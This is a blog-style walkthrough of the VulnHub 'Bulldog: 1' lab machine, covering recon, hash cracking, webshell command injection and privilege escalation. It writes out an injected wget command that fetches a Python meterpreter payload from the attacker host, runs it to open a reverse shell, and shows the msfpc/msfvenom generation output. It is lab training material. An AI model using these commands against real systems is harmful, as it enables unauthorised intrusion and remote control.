Hello guys, Evalion here. Today a post you’re not used to get from me. I decided to do some vulnhub and managed to solve one VM by myself, so I’ll do a writeup about that one. Because I am half retarded not so knowledgeable in this area, expect some mistakes. Feel free to leave feedback!
General info:
-
Time to complete: a day.
-
Level: For me it was intermediate, you may find it easier.
-
Runs best on: Virtualbox.
-
Description by author:
Bulldog Industries recently had its website defaced and owned by the malicious German Shepherd Hack Team. Could this mean there are more vulnerabilities to exploit? Why don’t you find out?
This is a standard Boot-to-Root. Your only goal is to get into the root directory and see the congratulatory message, how you do it is up to you!
Difficulty: Beginner/Intermediate, if you get stuck, try to figure out all the different ways you can interact with the system. That’s my only hint
Made by Nick Frichette (frichetten.com) Twitter: @frichette_n
I’d highly recommend running this on Virtualbox, I had some issues getting it to work in VMware. Additionally DHCP is enabled so you shouldn’t have any troubles getting it onto your network. It defaults to bridged mode, but feel free to change that if you like.
- Link: Bulldog: 1 ~ VulnHub
Writeup
After starting up our VM in virtualbox and assigning it an IP address to the host-only network, I surf to the IP address to see if a webpage pops up, because we first need to know who our target is…
It does! From this webpage we can see that our target has recently been hit by an attack. This can mean two things:
-
Either the target is now super alert and has made drastic improvements to their security, or…
-
If the breach happened recently, there’s a very good chance they are still in chaos, and when in chaos, mistakes are made. This is good information for us!
Let’s check out their public notice.
This is an excellent starting point. From this page, we can collect a lot of info:
-
The breach happened in their payment system.
-
There is a refference to a “clam shell” and “smelly cow”, which could hint that they had a shell on the system and did not just perform a DoS attack.
-
They fired all of their existing technical staff! This is GOLD to us, because the new staff will need to adjust, meaning that little will be done to further improve security. To even further worsen the situation, the CEO will let them start from the ground up.
-
We also have the name of the CEO. If this wasn’t a vulnhub VM, we could use that name to dox and with the information gathered from there, create a wordlist for future password attacks.
Now comes the time to touch the target in other ways ( ͡° ͜ʖ ͡°). Let’s fire up an nmap scan to look for services other than the webserver that we can interact with.
nmap -Pn -sV 192.168.56.101
While that is running let’s take the time to check out robots.txt to see if they have any hidden directories listed.
All we find however, is some fancy ASCII art.
This is great! Because the tech staff hasn’t yet cleaned this up, that could mean they’ve not done much to further increase their security.
The nmap scan results are in!
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-23 14:02 CET
Nmap scan report for 192.168.56.101
Host is up (0.0017s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
23/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http WSGIServer 0.1 (Python 2.7.12)
8080/tcp open http WSGIServer 0.1 (Python 2.7.12)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at Nmap OS/Service Fingerprint and Correction Submission Page .
Nmap done: 1 IP address (1 host up) scanned in 7.03 seconds
Let’s sum up the most important things from this scan.
-
We see an SSH service on port 23, OpenSSH for Ubuntu. This shows us that the target is running a Linux variant.
-
We see that the target has two HTTP webservers running. Browsing to the one located on port 8080 brings up the same page as the one on port 80, so we’ll ignore it for now. More importantly however is that both are running in Python 2.7. Now we know the system has Python installed. This will help us in generating a right payload!
So all we have to work with are the webserver and the SSH service. Let’s run Nikto against the webserver in order to further investigate the webserver.
nikto -port 80 -host 192.168.56.101
While that is running, let’s take the time to look up the SSH service online. All we find is an user enumeration vulnerability. For now, we will ignore this, but we should keep this in mind for later.
Meanwhile, the results from nikto are in!
- Nikto v2.1.6
- Target IP: 192.168.56.101
- Target Hostname: 192.168.56.101
- Target Port: 80
- Start Time: 2018-12-23 14:17:16 (GMT1)
- Server: WSGIServer/0.1 Python/2.7.12
- The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
- The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
- No CGI Directories found (use ‘-C all’ to force check all possible dirs)
- OSVDB-3092: /dev/: This might be interesting…
- 7552 requests: 17 error(s) and 3 item(s) reported on remote host
- End Time: 2018-12-25 20:17:34 (GMT1) (14 seconds)
- 1 host(s) tested
The biggest thing that nikto has returned is OSVDB-3092. There is a /dev/ directory! Let’s check it out…
We are getting close now! This page provides us with A LOT of information! Including how the previous attackers got in, that they are still transitioning, the design of the new system, a webshell, and at the bottom a list of email addresses. Let’s check out the webshell.
Our first roadblock. We first need to authenticate somehow. My wild guess is that we need to authenticate with Django. There is a login panel in the /admin/ directory, but we still need a username and a password. I looked for a default username/password combination, but no luck, so we have to keep digging. I keep the email addresses from /dev/ in mind. So let’s run dirbuster to find other hidden directories. I ran it in non-recursive mode because I was hoping to find a file in the root directory containing passwords, placed by one of the developers.
However, while that was running, I decided to check the source code of the /dev/ page, and at the bottom i spotted something interesting…
Jackpot! Let’s put these hashes into crackstation.net before attempting to bruteforce them with hashcat…
Success! the password for nick is “bulldog”. Let’s try to login with Django using this username/password combination…
We’re in! Let’s go back to the web shell and see if we can use it…
We can, but we are limited to only a few commands that can’t do a lot. At this point I became very frustrated and I was stuck here for a good hour or so. I looked all over the web for webshell vulnerabilities but to no luck. Then I googled for ways to exploit the echo command. This brought me to an article on command insertion vulnerabilities.. I like where this is going…
However, my searches turned up nothing. I am at the point of throwing my PC out of the window now. Out of frustration, I try to run two commands at the same time, and then…
FINALLY!!! We have a way to execute commands with limited privs! Let’s generate a payload using msfpc… Remember: the target is a Linux variant and has Python installed!
msfpc Python 192.168.56.1 4444 MSF REVERSE STAGED
[*] MSFvenom Payload Creator (MSFPC v1.4.4)[i] IP: 192.168.56.1
[i] PORT: 4444
[i] TYPE: python (python/meterpreter/reverse_tcp)
[i] CMD: msfvenom -p python/meterpreter/reverse_tcp -f raw
–platform python -e generic/none -a python LHOST=192.168.56.1 LPORT=4444
‘/home/REDACTED/python-meterpreter-staged-reverse-tcp-4444.py’[i] python meterpreter created: ‘/home/REDACTED/python-meterpreter-staged-reverse-tcp-4444.py’
[i] MSF handler file: ‘/home/REDACTED/python-meterpreter-staged-reverse-tcp-4444-py.rc’
[i] Run: msfconsole -q -r ‘/home/REDACTED/python-meterpreter-staged-reverse-tcp-4444-py.rc’
[?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
[*] Done!
Then let’s start up a webserver for payload delivery and start up the handler too, using the commands provided by msfpc…
Now comes the time to download the payload onto our target using the webshell!
echo hi && wget 192.168.56.1:8080/python-meterpreter-staged-reverse-tcp-4444.py
And then we execute it…
echo hi && python python-meterpreter-staged-reverse-tcp-4444.py
We got a shell! We can’t access /root yet, so we will have to escelatate our privs. Let’s look around the files we have access to and download anything we deem interesting…
Inside /home/bulldogadmin, there is an interesting directory called “.hiddenadmindirectory”
Let’s enter it. Inside of that directory, there are two files. There is a custom permission app binary, and a note. Let’s read the note.
Let’s download this custom permissions app. Someone once told me that you can find all the strings in the binary by running “strings” against it. Let’s try it…
This was in the output. Hmmmmm, could it be? :}. After trying a few combinations with no result, I was stuck again. I was trying to login as root (using su), but maybe the password is for this user? When I tried this, it would still fail. Then I spotted a pattern in the password: there is a “H” in it every now and then. When I remove every “H”, the password made much more sense. Let’s try to become root that way, using sudo…
Success!